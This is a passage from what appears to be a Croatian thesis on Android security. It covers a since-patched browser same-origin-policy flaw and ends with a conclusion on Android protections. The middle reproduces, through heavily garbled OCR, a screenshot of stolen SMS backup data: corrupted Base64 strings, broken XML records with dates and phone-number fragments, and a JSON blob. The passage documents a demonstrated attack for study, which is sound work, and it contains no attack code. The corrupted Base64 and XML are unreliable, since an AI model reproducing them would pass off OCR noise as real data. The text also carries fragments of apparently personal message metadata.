moguce prenijeti razlic¢ite datoteke i uz pomo¢ preglednika. Kako su odredeni preglednici

pokazali moguénost ,,Setanja“ kroz osjetljive direktorije, postoji rizik izvrSavanja skripti unutar
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konteksta samog preglednika te krade osjetljivih podataka iz vise zaSti¢enih direktorija u slucaju

da se pronade odredeni propust unutar preglednika koji bi omogucavao upravljanje skriptama i

zapisivanje datoteka zaobilaskom politike istog izvora (eng. Same Origin Policy) kao §to je veé

prethodno pronadeno u propustu od strane ViaForensics (2013) kojeg je Mozilla ispravila.

Decode from Base64 format

Simply use the form below

PD! ZGIuZz0iIVVRGLTgiPz4KPGFsbHNicyBj
bSVudDG\MZAZNCHCngchZlGFkZH-J|L‘3M9l]A5UDkyMZkyNDE\IHR|‘.NNU9lK1
hciAyMywgMjAXMIASO|QyO) IzIEFN[|BkYXRIP5IxMzMyNDkyMTQzMzQSIlEOeX
JLemV 21G

Bgc (s gC. ynml]ZvB]ZwSDlealtlganLZTDuvasxl
1pxIc7SmVsZ) PgoJPHNtcyBhZGRY. jQxIIBO
anIPS.lNYXIgM|MslDinIgoTooleNyBBTSngGFDZTDIMTMzM|Q5M|EZN
ZAWMCIgdHIWZ TOIMSIgY m9keTOISylgemVhZ DOIMSIge2VydmijZV I ZWS0ZXI191i
$zODUS0DA1MDEIIG5hbWUSII ZhbMSNac SHOOpIbGVuY SIglz4KCTxzbXMgY

Ccz0iIMDk4OTIzOTI

‘aOUOil OTILOTY 1IMD!

CODE > UTF-8

<7xml version="1.0" encoding="UTF-8"2>
<allsms count="3064">

<sms address="IN" time="Mar 23, 2012 9:42:23 AM" ‘
date="1332492143348" type="2" booy _

" read="1" service_center="" nam

<sms address=""
date="1332492167000" type="1"
service_center="+385980501" name= " 1>

<sms address="TMN" time="Mar 23. 2012 9:49:56 AM"
date="1332492596503" type="2" boty= - read-"

JOlilIIGIVZHKIIIR:

&l (vou may also select input charset.)

r 23, 2012 9: 42 47 AM™

ZTOITWFyIDIzZLCAYMDEYIDkGNDKENTY 3

{"vmntvsdcandy SmsContactsBackup/sms\/sms_20131221191957_xml":"PDO4bWwgdmVyc2lvbj0IMS4wliBIbmNv ZGlu
Zz0IVVRGLTgIPz4KPGFsb HNtey Bjb3Vud DOIMzA2 NC1+CgkBe2 121 GFkZHIl c3MS 1 ASODkyMzky NDEHHRpbWUS Ik
1hci AyMywgMjAxMiAS0jQy O IIEF NIiBK Y XRIPSIxMzMyNDkyMTQzMzQ51iB0e XBIPSIy 1 Bib2RSPSILcm Vudwag
UZFITHR1IFNhbSBECSA2IG1 phiBwYSBtb3playBwh2xha28gc2]jaSlgem VhZD0iMSIge2Vydmlj Z Vo ZWS0ZXI9lilghmF
tZT0IVmFsxI1 pxIc? SmVsZ W5hTi AvPgoJPHNtcy BhZGRy ZX NzPS IrMzg 1 OTg5MjM5M]Qx lIB0aW1IPSINY X IgMj MsID
IwMTIgOTo0Mjo0Ny BBTSIgZGFOZTOIM TM2M]QSMJE2NzAWMCIgdHlwZ TOIMSIg Ymoke TOiSylgemVhZD0IM Sige2
VydmljZVajZW502X 191isz0DUSODA | MDEIGShbWUSTIZhbMS NacSHODpIbGVu Y S IgLz4KC Txzb XMg YWRKemVze
20iMDk4OTIZOT I0MSIgdGIZ TOITW Fy IDIzZLCAyMDEYIDKEN DKENT Yg QUOIIGRhAGUS 1) EzMzI0OTIL OTY 1M DMl
HR5cGUOIJIIGIVZHKO IIRLIFNhbSBth 3Mgc2IjliByZWFkPSIxIiBzZX2aWNIX 2NIbnRIcjOiliBuy W1IPSIW YWz EfWnE
hztKZWxIbmEIICE +CgkBe21 2IGFk ZHIlc3MOliszODUS NTky Mz STHRphWU9 i
YIFBNIBKYXRIPSIxMzMyNTE1 NjgyMD Awli BOeXBIPSIx 1i 4 %
mVKbmUgaGxh¥2UsIGlzd Gkgh?ShalBlemoqL CAyMzBrbIEHHI YWQ9 | EIHNICnZpY2VIY2Vud GVy PS 1Mz 1 OTUx
MDAWMT AwliBuYW1IPSIIbGlqY SBaaXZrb3Zp ¥ yIgLz4KC TxzbXMg Y WRkem Vzcz0iKzMANTK1 OTIzN212MClgd Gl
LZTOITWFyIDIZLC AyMDEYI DQSMzY 6 MzEg UEDIIGRhdGUS 1JEZM211 MTY 50T EwMjQIIHRScGUSIj I GIvZHKS 1korl
Hs:nprnmsnnnrn7<RL\1\ngarLghmu1\\nlga‘FUHNquthwga‘uplrrmmﬂ\mlc\nltrd\dr‘OZa\ pl

GEgbmURZGI6Z EYmFua29t Y XR1IHBhIHRpIH By ZWIhY2ITHZI Y 2Vy YXMITHII Y WQITJEil
n.vu.nz]nz\ ¥ 2VudGVyPSHIGShbwUTklsawphIFppdmivdm jliAvPgolP HNIcy BAZGRY ZX NZPS Mg LOTUSM]M3

Slika 4.7 Prikaz ukradenih podataka
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5. ZAKLJUCAK

Kao sto se moze vidjeti iz prethodno navedenih propusta i njihovih zakrpa, Android sustav
je relativno zaSticen od raznih zlonamjernih napada. Koriste¢i standarde SELinux jezgre te
dodatne mehanizame zastite pristupa osjetljivim podacima kao §to su pruzatelji sadrzaja (eng.
Content Provider) platforma je zasticena od osnovnih napadackih tehnika. U slucaju instalacije
aplikacija koje su nesigurne te sadrzavaju sigurnosne propuste, a posjeduju prava pristupa
osjetljivim podacima, dovodi do nesigurnosti cijelog sustava.

Ove probleme i rizike sustav pokuSava umanjiti prikazom sigurnosnih zahtjeva, odnosno prava
pristupa aplikacije prije njene instalacije; na ovaj nacin korisnik ima veliku kontrolu nad
aplikacijama koje instalira. Osim prikaza traZzenih dopustenja aplikacije, Google Play sadrzi i
komentare zajednice na odredenu aplikaciju te korisnik iz komentara drugih korisnika moze
uvidjeti kvalitetu, probleme i nesigurnost odredenih aplikacija koje Zeli instalirati.

Ovisno o verziji Android sustava sigurnost se inkrementalno poboljSavala te uz pravilne
postavke korisnik moze imati visoku razinu zastite, no razni proizvodaci pametnih telefona ne
prate trend nadogradnje softvera dovoljno brzo te na taj nacin izlazu vlastite korisnike
sigurnosnim rupama koje napadaci mogu iskoristiti. Iz ovih razloga obi¢ni korisnici imaju nizu

razinu zastite od naprednijih korisnika koji samostalno nadograduju sustave.
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